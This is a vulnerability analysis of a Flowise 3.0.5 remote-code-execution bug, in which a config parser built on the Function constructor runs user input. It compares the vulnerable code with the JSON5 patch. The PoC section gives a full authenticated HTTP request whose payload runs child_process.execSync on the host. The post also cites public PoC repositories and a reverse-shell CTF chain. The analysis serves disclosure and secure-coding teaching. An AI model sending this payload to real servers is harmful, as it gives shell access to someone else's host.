The function name was the admission
convertToValidJSONString exists because the input is not valid JSON. That is what the name says. The canvas takes a JS-style config, and the JSON spec rejects most of what the canvas accepts. Something has to lift the input into a form JSON.parse will accept. The author needed a permissive parser.
The author wrote this:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
The 3.0.6 patch wrote this:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = JSON5.parse(inputString)
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
JSON5 is the library that parses JavaScript-style object literals as data. Trailing commas, unquoted keys, single-quoted strings, comments, hex numbers, all of it. JSON5 first published more than a decade before the Flowise MCP integration that needed it.
The patch did not add input validation. The patch did not add a sandbox. The patch did not walk the AST and reject suspicious nodes. The patch added import JSON5 from 'json5' and replaced one expression with another. The bug was not what the input contained. The bug was that the parser was the JavaScript runtime.
Function() is eval
Function('return ' + str)() is the long form of eval('(' + str + ')') with one practical difference: the new function is compiled in the global scope rather than the calling scope. The danger is identical. MDN's Function constructor page says, in its security note, that the constructor "presents security risks similar to eval()." The technique of swapping eval for the Function constructor is documented in JSON-parsing tutorials as a way to handle "lenient" object literals. The same expression is documented on MDN as an interpreter primitive. Many SAST rules and ESLint configurations flag eval and miss Function. The two pages describe the same code; the tooling treats them differently.
The endpoint that lists actions runs the config
The route is POST /api/v1/node-load-method/customMCP. The body shape:
{
"loadMethod": "listActions",
"inputs": { "mcpServerConfig": "<config>" }
}
The verb in the URL ("load method") and the field in the body ("listActions") describe what the user thinks is happening. The canvas is asking the server, given this config, what actions does this MCP server expose? It is a discovery call. The user pressed "Refresh" on a dropdown.
The service handler is getSingleNodeAsyncOptions in packages/server/src/services/nodes/index.ts. It reads nodeData.loadMethod from the request body and reflects into the named node instance:
const nodeInstance = appServer.nodesPool.componentNodes[nodeName]
const methodName = nodeData.loadMethod || ''
const dbResponse: INodeOptionsValue[] = await nodeInstance.loadMethods![methodName]!.call(
nodeInstance,
nodeData,
{
appDataSource: appServer.AppDataSource,
databaseEntities: databaseEntities,
componentNodes: appServer.nodesPool.componentNodes,
previousNodes: requestBody.previousNodes,
currentNode: requestBody.currentNode,
searchOptions: requestBody.searchOptions,
cachePool: appServer.cachePool
}
)
listActions is the loadMethod registered on Custom_MCP. It calls this.getTools(nodeData, options). getTools runs three lines that matter:
const substitutedString = substituteVariablesInString(mcpServerConfig, sandbox)
const serverParamsString = convertToValidJSONString(substitutedString)
serverParams = JSON.parse(serverParamsString)
convertToValidJSONString is the second line. The string passes through Function('return ' + ...)() before any object is constructed, before any tool is listed, before any MCPToolkit is instantiated. Whatever JavaScript was in the input ran during the parse. The dropdown does not need to populate for the side effects to land. serverParams ends up holding whatever the IIFE returned, and the rest of getTools fails downstream when it tries to talk to a server with no command and no url. The error is caught by listActions, which returns:
return [
{
label: 'No Available Actions',
name: 'error',
description: 'No available actions, please check your API key and refresh'
}
]
"Check your API key and refresh" is the only signal the attacker cares less about. Step three of the chain is the user pressing Refresh. Step one was the host running their command.
What the documentation showed users to type
The node ships with a docstring at the top of the file. It is the example the canvas points users at:
{
"command": "docker",
"args": ["run", "-i", "--rm", "-e", "API_TOKEN"],
"env": {
"API_TOKEN": "{{$vars.var1}}"
}
}
That is strict JSON, modulo the {{$vars.var1}} substitution token, which substituteVariablesInString resolves before convertToValidJSONString runs. The legitimate input is JSON. JSON.parse would have read it. JSON5 would have read it. The Stack Overflow Function() trick reads it too, and reads everything else.
The author needed a permissive parser for a use case the documentation does not show. The documented inputs do not exercise the permissiveness the parser provides. The permissiveness is what the attacker uses.
The PoC
The PoC is one Python file. It logs in to /api/v1/auth/login with an email and password, harvests token, refreshToken, and connect.sid from Set-Cookie, then sends:
POST /api/v1/node-load-method/customMCP HTTP/1.1
Content-Type: application/json
x-request-from: internal
Origin: https://target
Referer: https://target/canvas
Cookie: token=<...>; refreshToken=<...>; connect.sid=<...>
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"id\");return 1;})()})"
}
}
The payload is a JavaScript object literal whose x value is an Immediately Invoked Function Expression. When Function('return ' + ...)() evaluates it, the IIFE calls cp.execSync("id") synchronously, and the literal evaluates to {x: 1}. serverParamsString becomes {"x":1}. The downstream JSON.parse succeeds, MCPToolkit fails to connect, the handler returns "No Available Actions." The shell command already ran, before any of that.
The PoC takes credentials and uses them. Authentication is the only primitive between an attacker and the parse. There is no second check between the session-cookie validation and the call to Function(). Every authenticated session is, on Flowise 3.0.5, a remote shell on the host.
The flag the maintainers added does not address this
The mcpServerConfig input on the node has a warning field that activates only when an environment variable is set:
warning:
process.env.CUSTOM_MCP_SECURITY_CHECK === 'true'
? 'In next release, only Remote MCP with url is supported. Read more <a href="...">here</a>'
: undefined
CUSTOM_MCP_SECURITY_CHECK is not set in default deployments. The warning does not render. The flag's name describes a threat model the maintainers had thought about: local-stdio MCP servers run commands on the host as a documented capability of MCP-over-stdio, so the planned mitigation is to deprecate stdio and only allow remote-by-URL. That mitigation closes a documented capability of the protocol. It does not touch convertToValidJSONString. A user who never points Custom MCP at any server still gets RCE if the canvas evaluates an IIFE in the config field on a Refresh-Actions click.
The bug was not the protocol the integration speaks. The bug was the parser the integration runs to read the user's typed text.
A parser that is also an interpreter
This sits next to other Content Is Command exhibits where the bridge between content and command is a code generator or a codegen-adjacent parser. protobufjs's @protobufjs/codegen builds source by string concatenation and finalizes with Function(source)(); the type-name slot becomes the only parameter without an escape formatter, and the only one CVE-2026-41242 ever needed. graphql-ruby's Schema::Loader interpolates JSON-supplied names into a class_eval HEREDOC and ships RCE as a feature of schema loading. Handlebars accepted parsed ASTs from external callers for fourteen years; the codegen finalized with new Function(...).
Those three cases at least had the cover story that the surrounding code generates dynamic methods at definition time and needs a real interpreter to do that work. Flowise's convertToValidJSONString does not. There is no dynamic method, no codegen, no AST. The function is a JSON parser whose contract was relaxed to "JSON-ish." The author reached for the JavaScript runtime because the JavaScript runtime accepts JSON-ish. The fix did not change what the function accepts. It changed which interpreter performs the acceptance.
A second PoC, jwsly12/CVE-2025-58434-59528-htb-ctf, chains the same primitive against a Hack The Box machine called Silentium. The chain begins with user enumeration via a separate Flowise password-reset bug (CVE-2025-58434), proceeds to the same customMCP payload, and ends with a TCP reverse shell via mkfifo. The CTF chain confirms what the original PoC implies. The Function() parser is not a niche edge case in some unreachable codepath. It is the call that converts every authenticated session into a remote shell on every Flowise 3.0.5 deployment, regardless of which MCP servers the operator intended to integrate with, because the parser ran before the operator's intent ever entered the function.
PoC: mananispiwpiw/CVE-2025-59528-PoC
The patch closes this CVE. JSON5 has been on npm since 2012.